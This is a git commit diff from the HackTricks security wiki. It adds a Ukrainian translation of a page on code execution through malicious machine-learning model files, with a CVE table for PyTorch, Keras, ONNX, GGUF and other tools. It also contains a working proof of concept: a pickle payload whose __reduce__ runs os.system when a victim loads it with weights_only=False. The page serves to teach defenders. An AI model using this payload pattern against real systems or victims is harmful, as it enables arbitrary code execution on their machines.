mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/AI/AI-Models-RCE.md'] to uk
This commit is contained in:
parent
33eadcba30
commit
68b4019a48
@ -4,25 +4,62 @@
|
||||
|
||||
## Завантаження моделей до RCE
|
||||
|
||||
Моделі машинного навчання зазвичай поширюються в різних форматах, таких як ONNX, TensorFlow, PyTorch тощо. Ці моделі можуть бути завантажені на комп'ютери розробників або в продуктивні системи для їх використання. Зазвичай моделі не повинні містити шкідливий код, але є випадки, коли модель може бути використана для виконання довільного коду в системі як передбачена функція або через вразливість у бібліотеці завантаження моделі.
|
||||
Моделі машинного навчання зазвичай поширюються в різних форматах, таких як ONNX, TensorFlow, PyTorch тощо. Ці моделі можуть бути завантажені на комп'ютери розробників або в продукційні системи для їх використання. Зазвичай моделі не повинні містити шкідливий код, але є випадки, коли модель може бути використана для виконання довільного коду на системі як передбачена функція або через вразливість у бібліотеці завантаження моделі.
|
||||
|
||||
На момент написання це деякі приклади такого типу вразливостей:
|
||||
На момент написання це деякі приклади цього типу вразливостей:
|
||||
|
||||
| **Фреймворк / Інструмент** | **Вразливість (CVE, якщо доступно)** | **RCE Вектор** | **Посилання** |
|
||||
|-----------------------------|------------------------------------------------------------------------------------------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------|----------------------------------------------|
|
||||
| **PyTorch** (Python) | *Небезпечна десеріалізація в* `torch.load` **(CVE-2025-32434)** | Шкідливий pickle в контрольній точці моделі призводить до виконання коду (обхід захисту `weights_only`) | |
|
||||
| PyTorch **TorchServe** | *ShellTorch* – **CVE-2023-43654**, **CVE-2022-1471** | SSRF + завантаження шкідливої моделі викликає виконання коду; десеріалізація Java RCE в API управління | |
|
||||
| **TensorFlow/Keras** | **CVE-2021-37678** (небезпечний YAML) <br> **CVE-2024-3660** (Keras Lambda) | Завантаження моделі з YAML використовує `yaml.unsafe_load` (виконання коду) <br> Завантаження моделі з **Lambda** шаром виконує довільний Python код | |
|
||||
| TensorFlow (TFLite) | **CVE-2022-23559** (парсинг TFLite) | Сформована модель `.tflite` викликає переповнення цілого числа → пошкодження купи (потенційний RCE) | |
|
||||
| **Scikit-learn** (Python) | **CVE-2020-13092** (joblib/pickle) | Завантаження моделі через `joblib.load` виконує pickle з payload `__reduce__` зловмисника | |
|
||||
| **NumPy** (Python) | **CVE-2019-6446** (небезпечний `np.load`) *спірний* | За замовчуванням `numpy.load` дозволяє завантаження об'єктних масивів pickle – шкідливий `.npy/.npz` викликає виконання коду | |
|
||||
| TensorFlow (TFLite) | **CVE-2022-23559** (парсинг TFLite) | Сформована `.tflite` модель викликає переповнення цілого числа → пошкодження купи (потенційний RCE) | |
|
||||
| **Scikit-learn** (Python) | **CVE-2020-13092** (joblib/pickle) | Завантаження моделі через `joblib.load` виконує pickle з навантаженням `__reduce__` зловмисника | |
|
||||
| **NumPy** (Python) | **CVE-2019-6446** (небезпечний `np.load`) *суперечливий* | `numpy.load` за замовчуванням дозволяє завантаження об'єктних масивів – шкідливий `.npy/.npz` викликає виконання коду | |
|
||||
| **ONNX / ONNX Runtime** | **CVE-2022-25882** (перехід директорії) <br> **CVE-2024-5187** (перехід tar) | Зовнішній шлях ваг моделі ONNX може вийти за межі директорії (читання довільних файлів) <br> Шкідлива модель ONNX tar може перезаписати довільні файли (призводячи до RCE) | |
|
||||
| ONNX Runtime (ризик дизайну)| *(Немає CVE)* Користувацькі операції ONNX / контрольний потік | Модель з користувацьким оператором вимагає завантаження рідного коду зловмисника; складні графи моделей зловживають логікою для виконання непередбачених обчислень | |
|
||||
| ONNX Runtime (ризик дизайну)| *(Немає CVE)* Користувацькі операції ONNX / контрольний потік | Модель з користувацьким оператором вимагає завантаження рідного коду зловмисника; складні графи моделей зловживають логікою для виконання непередбачених обчислень | |
|
||||
| **NVIDIA Triton Server** | **CVE-2023-31036** (перехід шляху) | Використання API завантаження моделі з увімкненим `--model-control` дозволяє відносний перехід шляху для запису файлів (наприклад, перезапис `.bashrc` для RCE) | |
|
||||
| **GGML (формат GGUF)** | **CVE-2024-25664 … 25668** (багато переповнень купи) | Неправильний файл моделі GGUF викликає переповнення буфера купи в парсері, що дозволяє виконання довільного коду на системі жертви | |
|
||||
| **Keras (старі формати)** | *(Немає нових CVE)* Спадковий Keras H5 модель | Шкідлива HDF5 (`.h5`) модель з кодом Lambda шару все ще виконується при завантаженні (режим безпеки Keras не охоплює старий формат – “атака з пониженням”) | |
|
||||
| **Інші** (загальні) | *Недолік дизайну* – серіалізація Pickle | Багато ML інструментів (наприклад, формати моделей на основі pickle, Python `pickle.load`) виконуватимуть довільний код, вбудований у файли моделей, якщо не вжити заходів | |
|
||||
| **GGML (формат GGUF)** | **CVE-2024-25664 … 25668** (багато переповнень купи) | Неправильний файл моделі GGUF викликає переповнення буфера купи в парсері, що дозволяє виконання довільного коду на системі жертви | |
|
||||
| **Keras (старі формати)** | *(Немає нових CVE)* Спадковий Keras H5 модель | Шкідлива HDF5 (`.h5`) модель з кодом Lambda шару все ще виконується при завантаженні (режим безпеки Keras не охоплює старий формат – “атака з пониження”) | |
|
||||
| **Інші** (загальні) | *Недолік дизайну* – серіалізація Pickle | Багато ML інструментів (наприклад, формати моделей на основі pickle, Python `pickle.load`) виконуватимуть довільний код, вбудований у файли моделей, якщо не вжити заходів | |
|
||||
|
||||
Більше того, є деякі моделі на основі python pickle, такі як ті, що використовуються [PyTorch](https://github.com/pytorch/pytorch/security), які можуть бути використані для виконання довільного коду в системі, якщо їх не завантажити з `weights_only=True`. Отже, будь-яка модель на основі pickle може бути особливо вразливою до цього типу атак, навіть якщо вони не вказані в таблиці вище.
|
||||
Більше того, є деякі моделі на основі python pickle, такі як ті, що використовуються [PyTorch](https://github.com/pytorch/pytorch/security), які можуть бути використані для виконання довільного коду на системі, якщо їх не завантажити з `weights_only=True`. Отже, будь-яка модель на основі pickle може бути особливо вразливою до цього типу атак, навіть якщо вони не вказані в таблиці вище.
|
||||
|
||||
Приклад:
|
||||
|
||||
- Створіть модель:
|
||||
```python
|
||||
# attacker_payload.py
|
||||
import torch
|
||||
import os
|
||||
|
||||
class MaliciousPayload:
|
||||
def __reduce__(self):
|
||||
# This code will be executed when unpickled (e.g., on model.load_state_dict)
|
||||
return (os.system, ("echo 'You have been hacked!' > /tmp/pwned.txt",))
|
||||
|
||||
# Create a fake model state dict with malicious content
|
||||
malicious_state = {"fc.weight": MaliciousPayload()}
|
||||
|
||||
# Save the malicious state dict
|
||||
torch.save(malicious_state, "malicious_state.pth")
|
||||
```
|
||||
- Завантажте модель:
|
||||
```python
|
||||
# victim_load.py
|
||||
import torch
|
||||
import torch.nn as nn
|
||||
|
||||
class MyModel(nn.Module):
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.fc = nn.Linear(10, 1)
|
||||
|
||||
model = MyModel()
|
||||
|
||||
# ⚠️ This will trigger code execution from pickle inside the .pth file
|
||||
model.load_state_dict(torch.load("malicious_state.pth", weights_only=False))
|
||||
|
||||
# /tmp/pwned.txt is created even if you get an error
|
||||
```
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user